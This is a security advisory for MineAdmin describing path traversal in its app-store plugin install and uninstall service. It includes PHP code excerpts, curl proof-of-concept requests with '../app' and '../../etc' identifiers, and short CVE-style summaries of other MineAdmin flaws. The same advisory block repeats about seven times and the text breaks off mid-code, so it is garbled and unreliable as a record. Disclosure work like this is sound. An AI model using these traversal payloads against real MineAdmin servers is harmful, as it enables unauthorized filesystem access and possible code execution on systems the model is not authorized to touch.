The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

A weakness has been identified in MineAdmin 1.x/2.x. This impacts the function refresh of the file /system/refresh of the component JWT Token Handler. This manipulation causes insufficient verification of data authenticity. It is possible to initiate the attack remotely. The attack is considered to have high complexity. The exploitability is said to be difficult. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

A security vulnerability has been detected in MineAdmin 1.x/2.x. Affected is an unknown function of the file /system/getFileInfoById. Such manipulation of the argument ID leads to information disclosure. It is possible to launch the attack remotely. The attack requires a high level of complexity. The exploitability is told to be difficult. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

A security flaw has been discovered in MineAdmin 1.x/2.x. This affects an unknown function of the component Swagger. The manipulation results in information disclosure. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability was identified in MineAdmin 1.x/2.x. The impacted element is an unknown function of the file /system/cache/view of the component View Interface. The manipulation leads to improper authorization. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

A weakness has been identified in MineAdmin 1.x/2.x. This impacts the function refresh of the file /system/refresh of the component JWT Token Handler. This manipulation causes insufficient verification of data authenticity. It is possible to initiate the attack remotely. The attack is considered to have high complexity. The exploitability is said to be difficult. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

A security vulnerability has been detected in MineAdmin 1.x/2.x. Affected is an unknown function of the file /system/getFileInfoById. Such manipulation of the argument ID leads to information disclosure. It is possible to launch the attack remotely. The attack requires a high level of complexity. The exploitability is told to be difficult. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

A security flaw has been discovered in MineAdmin 1.x/2.x. This affects an unknown function of the component Swagger. The manipulation results in information disclosure. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability was identified in MineAdmin 1.x/2.x. The impacted element is an unknown function of the file /system/cache/view of the component View Interface. The manipulation leads to improper authorization. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

A weakness has been identified in MineAdmin 1.x/2.x. This impacts the function refresh of the file /system/refresh of the component JWT Token Handler. This manipulation causes insufficient verification of data authenticity. It is possible to initiate the attack remotely. The attack is considered to have high complexity. The exploitability is said to be difficult. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

A security vulnerability has been detected in MineAdmin 1.x/2.x. Affected is an unknown function of the file /system/getFileInfoById. Such manipulation of the argument ID leads to information disclosure. It is possible to launch the attack remotely. The attack requires a high level of complexity. The exploitability is told to be difficult. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

A security flaw has been discovered in MineAdmin 1.x/2.x. This affects an unknown function of the component Swagger. The manipulation results in information disclosure. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability was identified in MineAdmin 1.x/2.x. The impacted element is an unknown function of the file /system/cache/view of the component View Interface. The manipulation leads to improper authorization. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

A weakness has been identified in MineAdmin 1.x/2.x. This impacts the function refresh of the file /system/refresh of the component JWT Token Handler. This manipulation causes insufficient verification of data authenticity. It is possible to initiate the attack remotely. The attack is considered to have high complexity. The exploitability is said to be difficult. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

A security vulnerability has been detected in MineAdmin 1.x/2.x. Affected is an unknown function of the file /system/getFileInfoById. Such manipulation of the argument ID leads to information disclosure. It is possible to launch the attack remotely. The attack requires a high level of complexity. The exploitability is told to be difficult. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

A security flaw has been discovered in MineAdmin 1.x/2.x. This affects an unknown function of the component Swagger. The manipulation results in information disclosure. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability was identified in MineAdmin 1.x/2.x. The impacted element is an unknown function of the file /system/cache/view of the component View Interface. The manipulation leads to improper authorization. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

A weakness has been identified in MineAdmin 1.x/2.x. This impacts the function refresh of the file /system/refresh of the component JWT Token Handler. This manipulation causes insufficient verification of data authenticity. It is possible to initiate the attack remotely. The attack is considered to have high complexity. The exploitability is said to be difficult. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

A security vulnerability has been detected in MineAdmin 1.x/2.x. Affected is an unknown function of the file /system/getFileInfoById. Such manipulation of the argument ID leads to information disclosure. It is possible to launch the attack remotely. The attack requires a high level of complexity. The exploitability is told to be difficult. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

A security flaw has been discovered in MineAdmin 1.x/2.x. This affects an unknown function of the component Swagger. The manipulation results in information disclosure. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability was identified in MineAdmin 1.x/2.x. The impacted element is an unknown function of the file /system/cache/view of the component View Interface. The manipulation leads to improper authorization. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

A weakness has been identified in MineAdmin 1.x/2.x. This impacts the function refresh of the file /system/refresh of the component JWT Token Handler. This manipulation causes insufficient verification of data authenticity. It is possible to initiate the attack remotely. The attack is considered to have high complexity. The exploitability is said to be difficult. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

A security vulnerability has been detected in MineAdmin 1.x/2.x. Affected is an unknown function of the file /system/getFileInfoById. Such manipulation of the argument ID leads to information disclosure. It is possible to launch the attack remotely. The attack requires a high level of complexity. The exploitability is told to be difficult. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

A security flaw has been discovered in MineAdmin 1.x/2.x. This affects an unknown function of the component Swagger. The manipulation results in information disclosure. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability was identified in MineAdmin 1.x/2.x. The impacted element is an unknown function of the file /system/cache/view of the component View Interface. The manipulation leads to improper authorization. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

A weakness has been identified in MineAdmin 1.x/2.x. This impacts the function refresh of the file /system/refresh of the component JWT Token Handler. This manipulation causes insufficient verification of data authenticity. It is possible to initiate the attack remotely. The attack is considered to have high complexity. The exploitability is said to be difficult. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

A security vulnerability has been detected in MineAdmin 1.x/2.x. Affected is an unknown function of the file /system/getFileInfoById. Such manipulation of the argument ID leads to information disclosure. It is possible to launch the attack remotely. The attack requires a high level of complexity. The exploitability is told to be difficult. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

A security flaw has been discovered in MineAdmin 1.x/2.x. This affects an unknown function of the component Swagger. The manipulation results in information disclosure. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability was identified in MineAdmin 1.x/2.x. The impacted element is an unknown function of the file /system/cache/view of the component View Interface. The manipulation leads to improper authorization. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
